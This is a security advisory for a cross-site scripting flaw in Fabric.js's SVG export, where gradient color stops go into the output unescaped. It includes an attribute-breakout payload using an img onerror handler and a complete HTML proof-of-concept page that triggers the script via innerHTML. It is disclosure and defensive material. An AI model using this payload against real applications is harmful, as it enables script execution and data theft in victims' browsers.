OSV 1.4.0 · github-reviewed · 修改于 2026-07-19 01:26
发布时间
2026-06-13 05:00
GitHub 审查时间
2026-06-13 05:00
NVD 发布时间
2026-06-23 06:16
源文件
advisories/github-reviewed/2026/06/GHSA-w22m-hvvm-xmwx/GHSA-w22m-hvvm-xmwx.json
A potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the toSVG() method.
Specifically, the color field within the colorStops array of a fabric.Gradient object is not properly escaped when converted into SVG <stop> elements. If an application renders the generated SVG string into the DOM (e.g., via innerHTML), this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser.
During SVG export, Fabric.js serializes gradient color stops into <stop> elements like:
<stop offset="0" stop-color="..."></stop>
However, the color value is inserted into the stop-color attribute without proper escaping of special characters such as ", <, and >. This allows crafted input to break out of the attribute context and inject arbitrary markup.
For example:
color: 'red"><img src="x" onerror="alert(1)">'
may result in:
<stop offset="0" stop-color="red">
<img src="x" onerror="alert(1)">
This breaks the intended SVG structure and introduces executable HTML.
Successfully verified on v7.2.0 (current latest version). The following HTML and JavaScript code reproduces the vulnerability. The code constructs a rectangle with a maliciously crafted gradient color stop and exports it to SVG:
<!DOCTYPE html>
<html>
<head>
<title>Fabric.js SVG Export XSS Bypass Test</title>
<script src="[https://cdn.jsdelivr.net/npm/[email protected]/dist/index.js](https://cdn.jsdelivr.net/npm/[email protected]/dist/index.js)"></script>
</head>
<body>
<h1>Fabric.js SVG Export XSS Bypass Test (Gradient Color)</h1>
<canvas id="c" width="400" height="300"></canvas>
<h3>SVG Output Rendering:</h3>
<div id="svg-output" style="border: 1px solid #ccc; padding: 10px; margin-top: 10px;"></div>
<script>
setTimeout(() => {
const canvas = new fabric.Canvas('c');
// Construct a malicious gradient object
const maliciousGradient = new fabric.Gradient({
type: 'linear',
coords: { x1: 0, y1: 0, x2: 100, y2: 0 },
colorStops: [
{
offset: 0,
// Inject XSS payload to prematurely close the attribute/tag
color: 'red"><img src="x" onerror="alert(\'XSS Triggered Successfully!\')">'
},
{ offset: 1, color: 'blue' }
]
});
const rect = new fabric.Rect({
left: 50, top: 50, width: 300, height: 100,
fill: maliciousGradient
});
canvas.add(rect);
// Export to SVG string containing the malicious code
const svgOutput = canvas.toSVG();
// Render on the page to trigger the XSS
document.getElementById('svg-output').innerHTML = svgOutput;
}, 100);
</script>
</body>
</html>
This issue can lead to XSS in applications that:
canvas.toSVG() to export contentinnerHTML)Successful exploitation may result in the execution of arbitrary JavaScript in the victim's browser, theft of sensitive data, or unauthorized actions on behalf of the user.
Proper Escaping (Recommended): Escape special characters in attribute values during SVG serialization.